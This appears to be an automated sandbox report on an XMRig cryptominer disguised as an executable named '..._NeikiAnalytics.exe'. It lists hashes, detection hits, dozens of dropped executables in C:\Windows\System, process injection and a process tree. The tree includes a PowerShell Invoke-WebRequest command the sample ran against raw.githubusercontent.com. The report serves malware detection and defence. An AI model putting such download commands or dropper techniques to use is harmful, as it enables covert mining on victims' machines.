xmrig | fd63aa311e69f41c5e45a36578e551a445b2beb4b0fc85a41f70be82945232a2

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
28/05/2024, 05:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
Size

4.2MB
MD5

34b01dccad037f4b4e550935179c0b10
SHA1

f5acc52e459b364a51145dc986a77c4609d5d220
SHA256

fd63aa311e69f41c5e45a36578e551a445b2beb4b0fc85a41f70be82945232a2
SHA512

a6eb591a5ecb8b80aac3cce66fd5f0f6f3a31a9a0015a433c997df3974745303951d5028bfe92cb845d6d0d4cb525fc5351e8a9961a81d6df5755ec84d1a033a
SSDEEP

98304:71ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWH:7bBeSFkr

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/4956-0-0x00007FF744BC0000-0x00007FF744FB6000-memory.dmp	xmrig
behavioral2/files/0x0007000000023413-10.dat	xmrig
behavioral2/memory/1648-13-0x00007FF698490000-0x00007FF698886000-memory.dmp	xmrig
behavioral2/files/0x0007000000023414-30.dat	xmrig
behavioral2/files/0x0007000000023415-34.dat	xmrig
behavioral2/files/0x000700000002341b-49.dat	xmrig
behavioral2/files/0x0007000000023418-56.dat	xmrig
behavioral2/memory/4780-64-0x00007FF7C4330000-0x00007FF7C4726000-memory.dmp	xmrig
behavioral2/memory/4052-78-0x00007FF7529C0000-0x00007FF752DB6000-memory.dmp	xmrig
behavioral2/files/0x000700000002341e-84.dat	xmrig
behavioral2/memory/3328-87-0x00007FF7FBFE0000-0x00007FF7FC3D6000-memory.dmp	xmrig
behavioral2/memory/2940-91-0x00007FF744820000-0x00007FF744C16000-memory.dmp	xmrig
behavioral2/files/0x000700000002341f-94.dat	xmrig
behavioral2/memory/1020-93-0x00007FF7293E0000-0x00007FF7297D6000-memory.dmp	xmrig
behavioral2/memory/1496-92-0x00007FF723D90000-0x00007FF724186000-memory.dmp	xmrig
behavioral2/memory/884-90-0x00007FF6B7E70000-0x00007FF6B8266000-memory.dmp	xmrig
behavioral2/memory/2808-88-0x00007FF6A9770000-0x00007FF6A9B66000-memory.dmp	xmrig
behavioral2/memory/4768-86-0x00007FF6BEA80000-0x00007FF6BEE76000-memory.dmp	xmrig
behavioral2/memory/2292-83-0x00007FF6AA160000-0x00007FF6AA556000-memory.dmp	xmrig
behavioral2/files/0x000700000002341d-81.dat	xmrig
behavioral2/files/0x000700000002341c-74.dat	xmrig
behavioral2/files/0x000700000002341a-66.dat	xmrig
behavioral2/memory/4540-59-0x00007FF7DB330000-0x00007FF7DB726000-memory.dmp	xmrig
behavioral2/files/0x0007000000023419-54.dat	xmrig
behavioral2/files/0x0007000000023417-45.dat	xmrig
behavioral2/files/0x0007000000023416-41.dat	xmrig
behavioral2/memory/2272-37-0x00007FF60F9C0000-0x00007FF60FDB6000-memory.dmp	xmrig
behavioral2/memory/4268-24-0x00007FF626C80000-0x00007FF627076000-memory.dmp	xmrig
behavioral2/files/0x0009000000023289-15.dat	xmrig
behavioral2/files/0x0007000000023422-103.dat	xmrig
behavioral2/files/0x0008000000023410-108.dat	xmrig
behavioral2/memory/1896-119-0x00007FF70C010000-0x00007FF70C406000-memory.dmp	xmrig
behavioral2/files/0x0008000000023420-117.dat	xmrig
behavioral2/memory/4924-116-0x00007FF6A60B0000-0x00007FF6A64A6000-memory.dmp	xmrig
behavioral2/files/0x0008000000023421-122.dat	xmrig
behavioral2/memory/1076-107-0x00007FF76F840000-0x00007FF76FC36000-memory.dmp	xmrig
behavioral2/files/0x0007000000023423-123.dat	xmrig
behavioral2/memory/2552-129-0x00007FF689F30000-0x00007FF68A326000-memory.dmp	xmrig
behavioral2/files/0x0007000000023424-128.dat	xmrig
behavioral2/files/0x0007000000023425-130.dat	xmrig
behavioral2/files/0x0007000000023426-159.dat	xmrig
behavioral2/files/0x000700000002342b-167.dat	xmrig
behavioral2/files/0x000700000002342e-189.dat	xmrig
behavioral2/files/0x0007000000023431-200.dat	xmrig
behavioral2/files/0x0007000000023430-195.dat	xmrig
behavioral2/memory/2404-194-0x00007FF730D00000-0x00007FF7310F6000-memory.dmp	xmrig
behavioral2/files/0x000700000002342f-192.dat	xmrig
behavioral2/memory/2568-191-0x00007FF6D8200000-0x00007FF6D85F6000-memory.dmp	xmrig
behavioral2/files/0x000700000002342d-187.dat	xmrig
behavioral2/memory/4196-186-0x00007FF6685B0000-0x00007FF6689A6000-memory.dmp	xmrig
behavioral2/files/0x000700000002342c-182.dat	xmrig
behavioral2/memory/1360-180-0x00007FF67A1D0000-0x00007FF67A5C6000-memory.dmp	xmrig
behavioral2/files/0x000700000002342a-163.dat	xmrig
behavioral2/files/0x0007000000023429-161.dat	xmrig
behavioral2/files/0x0007000000023428-157.dat	xmrig
behavioral2/files/0x0007000000023427-153.dat	xmrig
behavioral2/memory/3468-150-0x00007FF6522B0000-0x00007FF6526A6000-memory.dmp	xmrig
behavioral2/memory/4332-139-0x00007FF620C40000-0x00007FF621036000-memory.dmp	xmrig
behavioral2/memory/4956-709-0x00007FF744BC0000-0x00007FF744FB6000-memory.dmp	xmrig
behavioral2/memory/1648-716-0x00007FF698490000-0x00007FF698886000-memory.dmp	xmrig
behavioral2/memory/4268-1172-0x00007FF626C80000-0x00007FF627076000-memory.dmp	xmrig
behavioral2/memory/1020-1671-0x00007FF7293E0000-0x00007FF7297D6000-memory.dmp	xmrig
behavioral2/memory/884-2540-0x00007FF6B7E70000-0x00007FF6B8266000-memory.dmp	xmrig
behavioral2/memory/2940-2542-0x00007FF744820000-0x00007FF744C16000-memory.dmp	xmrig

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	3336	powershell.exe
6	3336	powershell.exe
13	3336	powershell.exe
14	3336	powershell.exe
16	3336	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3336	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1648	tDhnwOV.exe
4268	zRywyHk.exe
2272	WbrqhLJ.exe
4540	DhmZPsK.exe
4780	uvOUzBZ.exe
884	bAvpvjI.exe
2940	QEGMzJC.exe
4052	qrrJtcW.exe
2292	hvrYdkp.exe
4768	WHPQezc.exe
3328	hmPkVSF.exe
2808	VeWSAfG.exe
1496	PCVVTGc.exe
1020	llBSIxe.exe
1076	uTkBAuG.exe
4924	urNZLpF.exe
1896	ZUXkTUU.exe
4332	azRZLCT.exe
2552	ekBsFKy.exe
3468	dCKyeNZ.exe
2568	MXzwJAx.exe
2404	XKXSTgH.exe
1360	UxyYsxe.exe
4196	qdaAbPM.exe
3260	zVWNtkS.exe
3084	JdsaLPM.exe
4524	EsIUVpV.exe
2260	JycuWMz.exe
4272	vSQKhDL.exe
4892	TjSFZbH.exe
3152	RXLRLNr.exe
4020	OIzyDep.exe
3476	jmndMFS.exe
5088	iXPQWCE.exe
184	BWWnmac.exe
2392	YrTVhKi.exe
1744	LMdThSH.exe
3992	LrIKeqM.exe
2124	CIZivMD.exe
2888	OiUNStB.exe
3100	dGIeMHE.exe
116	AgqlRCo.exe
844	YJpbumY.exe
3664	ZKHHdvC.exe
2224	uQctDpi.exe
4248	uwOpCgI.exe
5084	BtstLkS.exe
2036	FTNMjQP.exe
848	TiODthH.exe
3276	HPecJAw.exe
3212	MyFFwii.exe
3176	eEKhIVl.exe
4536	iPJzUKH.exe
4364	mnClkNO.exe
2740	PjeCMRW.exe
2264	HkjojmP.exe
2952	tADBEIj.exe
3096	EdaWpGz.exe
1152	faqNVSI.exe
4600	BZURcxy.exe
4796	IanMblS.exe
4940	jZtIJKI.exe
4436	LVdXkgL.exe
2096	vGSdfWT.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4956-0-0x00007FF744BC0000-0x00007FF744FB6000-memory.dmp	upx
behavioral2/files/0x0007000000023413-10.dat	upx
behavioral2/memory/1648-13-0x00007FF698490000-0x00007FF698886000-memory.dmp	upx
behavioral2/files/0x0007000000023414-30.dat	upx
behavioral2/files/0x0007000000023415-34.dat	upx
behavioral2/files/0x000700000002341b-49.dat	upx
behavioral2/files/0x0007000000023418-56.dat	upx
behavioral2/memory/4780-64-0x00007FF7C4330000-0x00007FF7C4726000-memory.dmp	upx
behavioral2/memory/4052-78-0x00007FF7529C0000-0x00007FF752DB6000-memory.dmp	upx
behavioral2/files/0x000700000002341e-84.dat	upx
behavioral2/memory/3328-87-0x00007FF7FBFE0000-0x00007FF7FC3D6000-memory.dmp	upx
behavioral2/memory/2940-91-0x00007FF744820000-0x00007FF744C16000-memory.dmp	upx
behavioral2/files/0x000700000002341f-94.dat	upx
behavioral2/memory/1020-93-0x00007FF7293E0000-0x00007FF7297D6000-memory.dmp	upx
behavioral2/memory/1496-92-0x00007FF723D90000-0x00007FF724186000-memory.dmp	upx
behavioral2/memory/884-90-0x00007FF6B7E70000-0x00007FF6B8266000-memory.dmp	upx
behavioral2/memory/2808-88-0x00007FF6A9770000-0x00007FF6A9B66000-memory.dmp	upx
behavioral2/memory/4768-86-0x00007FF6BEA80000-0x00007FF6BEE76000-memory.dmp	upx
behavioral2/memory/2292-83-0x00007FF6AA160000-0x00007FF6AA556000-memory.dmp	upx
behavioral2/files/0x000700000002341d-81.dat	upx
behavioral2/files/0x000700000002341c-74.dat	upx
behavioral2/files/0x000700000002341a-66.dat	upx
behavioral2/memory/4540-59-0x00007FF7DB330000-0x00007FF7DB726000-memory.dmp	upx
behavioral2/files/0x0007000000023419-54.dat	upx
behavioral2/files/0x0007000000023417-45.dat	upx
behavioral2/files/0x0007000000023416-41.dat	upx
behavioral2/memory/2272-37-0x00007FF60F9C0000-0x00007FF60FDB6000-memory.dmp	upx
behavioral2/memory/4268-24-0x00007FF626C80000-0x00007FF627076000-memory.dmp	upx
behavioral2/files/0x0009000000023289-15.dat	upx
behavioral2/files/0x0007000000023422-103.dat	upx
behavioral2/files/0x0008000000023410-108.dat	upx
behavioral2/memory/1896-119-0x00007FF70C010000-0x00007FF70C406000-memory.dmp	upx
behavioral2/files/0x0008000000023420-117.dat	upx
behavioral2/memory/4924-116-0x00007FF6A60B0000-0x00007FF6A64A6000-memory.dmp	upx
behavioral2/files/0x0008000000023421-122.dat	upx
behavioral2/memory/1076-107-0x00007FF76F840000-0x00007FF76FC36000-memory.dmp	upx
behavioral2/files/0x0007000000023423-123.dat	upx
behavioral2/memory/2552-129-0x00007FF689F30000-0x00007FF68A326000-memory.dmp	upx
behavioral2/files/0x0007000000023424-128.dat	upx
behavioral2/files/0x0007000000023425-130.dat	upx
behavioral2/files/0x0007000000023426-159.dat	upx
behavioral2/files/0x000700000002342b-167.dat	upx
behavioral2/files/0x000700000002342e-189.dat	upx
behavioral2/files/0x0007000000023431-200.dat	upx
behavioral2/files/0x0007000000023430-195.dat	upx
behavioral2/memory/2404-194-0x00007FF730D00000-0x00007FF7310F6000-memory.dmp	upx
behavioral2/files/0x000700000002342f-192.dat	upx
behavioral2/memory/2568-191-0x00007FF6D8200000-0x00007FF6D85F6000-memory.dmp	upx
behavioral2/files/0x000700000002342d-187.dat	upx
behavioral2/memory/4196-186-0x00007FF6685B0000-0x00007FF6689A6000-memory.dmp	upx
behavioral2/files/0x000700000002342c-182.dat	upx
behavioral2/memory/1360-180-0x00007FF67A1D0000-0x00007FF67A5C6000-memory.dmp	upx
behavioral2/files/0x000700000002342a-163.dat	upx
behavioral2/files/0x0007000000023429-161.dat	upx
behavioral2/files/0x0007000000023428-157.dat	upx
behavioral2/files/0x0007000000023427-153.dat	upx
behavioral2/memory/3468-150-0x00007FF6522B0000-0x00007FF6526A6000-memory.dmp	upx
behavioral2/memory/4332-139-0x00007FF620C40000-0x00007FF621036000-memory.dmp	upx
behavioral2/memory/4956-709-0x00007FF744BC0000-0x00007FF744FB6000-memory.dmp	upx
behavioral2/memory/1648-716-0x00007FF698490000-0x00007FF698886000-memory.dmp	upx
behavioral2/memory/4268-1172-0x00007FF626C80000-0x00007FF627076000-memory.dmp	upx
behavioral2/memory/1020-1671-0x00007FF7293E0000-0x00007FF7297D6000-memory.dmp	upx
behavioral2/memory/884-2540-0x00007FF6B7E70000-0x00007FF6B8266000-memory.dmp	upx
behavioral2/memory/2940-2542-0x00007FF744820000-0x00007FF744C16000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\uhhaUxE.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\QSoEECw.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\esUpJOi.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\tEdcCSk.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\FjFEbGX.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\GvAXQTe.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\pScqMIN.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\QohRHoz.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\OaCQVta.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\RoexwYZ.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\XlkyMNB.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\bfUJHWc.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\YMVamEp.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\NJvbRiS.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\vwWLNBe.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\GmDZtCu.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\KqQRkYs.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\mBEejho.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\VWznLrS.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\kzKbDMB.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\lyUHyCT.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\DGTHBBW.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\MJkSbON.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\GqThkzu.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\ygZDTrU.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\cpUnzWE.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\DXRFwwE.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\DmYELdk.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\FzNWeQG.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\PCVVTGc.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\cVdWSsL.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\AQAUTgV.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\rzaHGpf.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\ZqvlMIO.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\ZsVopHs.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\QKKsHHO.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\IaMmDfT.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\FiVAkrI.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\GHAZwOd.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\zFNuoKy.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\ABmZRUj.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\fiSNsys.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\KbmTrTP.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\YgUucVk.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\UbwQLNO.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\PmMBaNx.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\DYAdivD.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\wVuRhcA.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\ysVxPQu.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\kFSjgrH.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\cZWgXhd.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\iawszMy.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\InvzDPg.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\NHxYJwI.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\EieeGFH.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\zeqjrNo.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\VxhXDok.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\GXWHkCv.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\AwyNrPL.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\xAjWhZA.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\MJIjxYr.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\nnNDoBZ.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\eiRwlbP.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
File created	C:\Windows\System\XQfwfun.exe	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3336	powershell.exe
3336	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
Token: SeDebugPrivilege	3336	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4956 wrote to memory of 3336	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	85
PID 4956 wrote to memory of 3336	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	85
PID 4956 wrote to memory of 1648	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	86
PID 4956 wrote to memory of 1648	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	86
PID 4956 wrote to memory of 4268	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	87
PID 4956 wrote to memory of 4268	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	87
PID 4956 wrote to memory of 2272	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	88
PID 4956 wrote to memory of 2272	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	88
PID 4956 wrote to memory of 4540	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	89
PID 4956 wrote to memory of 4540	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	89
PID 4956 wrote to memory of 4780	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	90
PID 4956 wrote to memory of 4780	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	90
PID 4956 wrote to memory of 884	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	91
PID 4956 wrote to memory of 884	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	91
PID 4956 wrote to memory of 4052	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	92
PID 4956 wrote to memory of 4052	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	92
PID 4956 wrote to memory of 2940	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	93
PID 4956 wrote to memory of 2940	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	93
PID 4956 wrote to memory of 2292	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	94
PID 4956 wrote to memory of 2292	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	94
PID 4956 wrote to memory of 4768	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	95
PID 4956 wrote to memory of 4768	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	95
PID 4956 wrote to memory of 3328	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	96
PID 4956 wrote to memory of 3328	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	96
PID 4956 wrote to memory of 2808	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	97
PID 4956 wrote to memory of 2808	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	97
PID 4956 wrote to memory of 1496	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	98
PID 4956 wrote to memory of 1496	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	98
PID 4956 wrote to memory of 1020	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	99
PID 4956 wrote to memory of 1020	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	99
PID 4956 wrote to memory of 1076	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	100
PID 4956 wrote to memory of 1076	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	100
PID 4956 wrote to memory of 4924	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	101
PID 4956 wrote to memory of 4924	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	101
PID 4956 wrote to memory of 1896	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	102
PID 4956 wrote to memory of 1896	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	102
PID 4956 wrote to memory of 4332	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	103
PID 4956 wrote to memory of 4332	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	103
PID 4956 wrote to memory of 2552	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	104
PID 4956 wrote to memory of 2552	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	104
PID 4956 wrote to memory of 3468	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	105
PID 4956 wrote to memory of 3468	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	105
PID 4956 wrote to memory of 2568	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	106
PID 4956 wrote to memory of 2568	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	106
PID 4956 wrote to memory of 2404	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	107
PID 4956 wrote to memory of 2404	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	107
PID 4956 wrote to memory of 1360	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	108
PID 4956 wrote to memory of 1360	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	108
PID 4956 wrote to memory of 4196	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	109
PID 4956 wrote to memory of 4196	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	109
PID 4956 wrote to memory of 3260	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	110
PID 4956 wrote to memory of 3260	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	110
PID 4956 wrote to memory of 3084	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	111
PID 4956 wrote to memory of 3084	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	111
PID 4956 wrote to memory of 4524	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	112
PID 4956 wrote to memory of 4524	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	112
PID 4956 wrote to memory of 2260	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	113
PID 4956 wrote to memory of 2260	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	113
PID 4956 wrote to memory of 4272	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	114
PID 4956 wrote to memory of 4272	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	114
PID 4956 wrote to memory of 4892	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	115
PID 4956 wrote to memory of 4892	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	115
PID 4956 wrote to memory of 3152	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	116
PID 4956 wrote to memory of 3152	4956	34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe	116

C:\Users\Admin\AppData\Local\Temp\34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\34b01dccad037f4b4e550935179c0b10_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3336
- C:\Windows\System\tDhnwOV.exe
  C:\Windows\System\tDhnwOV.exe
  2⤵
  - Executes dropped EXE
  PID:1648
- C:\Windows\System\zRywyHk.exe
  C:\Windows\System\zRywyHk.exe
  2⤵
  - Executes dropped EXE
  PID:4268
- C:\Windows\System\WbrqhLJ.exe
  C:\Windows\System\WbrqhLJ.exe
  2⤵
  - Executes dropped EXE
  PID:2272
- C:\Windows\System\DhmZPsK.exe
  C:\Windows\System\DhmZPsK.exe
  2⤵
  - Executes dropped EXE
  PID:4540
- C:\Windows\System\uvOUzBZ.exe
  C:\Windows\System\uvOUzBZ.exe
  2⤵
  - Executes dropped EXE
  PID:4780
- C:\Windows\System\bAvpvjI.exe
  C:\Windows\System\bAvpvjI.exe
  2⤵
  - Executes dropped EXE
  PID:884
- C:\Windows\System\qrrJtcW.exe
  C:\Windows\System\qrrJtcW.exe
  2⤵
  - Executes dropped EXE
  PID:4052
- C:\Windows\System\QEGMzJC.exe
  C:\Windows\System\QEGMzJC.exe
  2⤵
  - Executes dropped EXE
  PID:2940
- C:\Windows\System\hvrYdkp.exe
  C:\Windows\System\hvrYdkp.exe
  2⤵
  - Executes dropped EXE
  PID:2292
- C:\Windows\System\WHPQezc.exe
  C:\Windows\System\WHPQezc.exe
  2⤵
  - Executes dropped EXE
  PID:4768
- C:\Windows\System\hmPkVSF.exe
  C:\Windows\System\hmPkVSF.exe
  2⤵
  - Executes dropped EXE
  PID:3328
- C:\Windows\System\VeWSAfG.exe
  C:\Windows\System\VeWSAfG.exe
  2⤵
  - Executes dropped EXE
